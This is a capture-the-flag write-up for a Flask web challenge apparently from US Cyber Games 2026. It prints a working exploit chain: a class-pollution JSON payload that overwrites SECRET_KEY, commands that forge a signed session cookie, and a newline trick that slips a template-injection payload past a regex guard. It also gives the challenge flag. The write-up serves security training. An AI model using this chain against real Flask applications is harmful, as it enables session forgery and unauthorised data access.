arrow_backUS Cyber Games 2026
Webmedium

Soláthairtí Guinness

by Pavel Knespl (capyplivl)

A Flask supplies panel where the flag is only rendered at /secure through a template injection sink. Reaching it chains a class-pollution bug in /forgot that rewrites the app's SECRET_KEY, a forged session cookie, and a newline regex bypass.

Solve

  1. From source, locate the SSTI sink at /secure: the session username is spliced into the template source, then rendered with the flag bound to bratach.
    teimplead = teimplead.replace("{{ usaideoir }}", session["username"])
    return Environment(...).from_string(teimplead).render(bratach=open("bratach.txt").read())
    
    The guard checks len(session["username"]) < 16 and re.match(".*bratach.*", session["username"]).
  2. Note the regex has no re.DOTALL, so . does not match newline. A username starting with \n makes .* stop at the newline and re.match returns None, even with "bratach" present. Payload \n{{bratach}} (12 chars) passes both checks.
  3. session["username"] is only set on a real login and SECRET_KEY = secrets.token_urlsafe(16) is random per boot, so the session cannot normally be forged. The way in is /forgot, which feeds raw JSON into DearmadPasfhocail whose buggy recursive merge allows arbitrary attribute writes:
    elif isinstance(sprioc, object):
        for k, v in foinse.items():
            if hasattr(sprioc, k) and isinstance(v, dict):
                self._cumaisc(v, getattr(sprioc, k))
            else:
                setattr(sprioc, k, v)
    
  4. Walk the object graph to app.config via current_app inside the request context and overwrite SECRET_KEY:
    POST /forgot
    {"username":"admin","__class__":{"__init__":{"__globals__":{
      "bunachar":{"init_app":{"__func__":{"__globals__":{
        "current_app":{"config":{"SECRET_KEY":"pwn"}}}}}}}}}}
    
    Confirm the rewrite worked: the merge descends through current_app (a request-context proxy) into config, which is a dict subclass, so the dict branch executes config["SECRET_KEY"] = "pwn". The username key is also set (used by sabhail()), so the request still returns 200.
  5. Forge a session cookie signed with the now-known key "pwn", carrying the SSTI payload \n{{bratach}} (12 chars, passes the length and regex guards): With flask-unsign (pip install flask-unsign):
    flask-unsign --sign --cookie "{'username': '\n{{bratach}}'}" --secret 'pwn'
    
    Or pure Python, no extra tools beyond Flask itself:
    from flask.sessions import SecureCookieSessionInterface
    from flask import Flask
    app = Flask(__name__); app.secret_key = "pwn"
    s = SecureCookieSessionInterface().get_signing_serializer(app)
    print(s.dumps({"username": "\n{{bratach}}"}))
    
  6. Send the forged cookie to /secure. The handler splices \n{{bratach}} into the template source and renders with bratach bound to the flag, so the page returns the flag in the "Fáilte" line:
    curl -s http://HOST:5000/secure -b 'session=<forged>'
    

Flag: SVIUSCG{1f8a433a87f722143b1bee7e1607813d}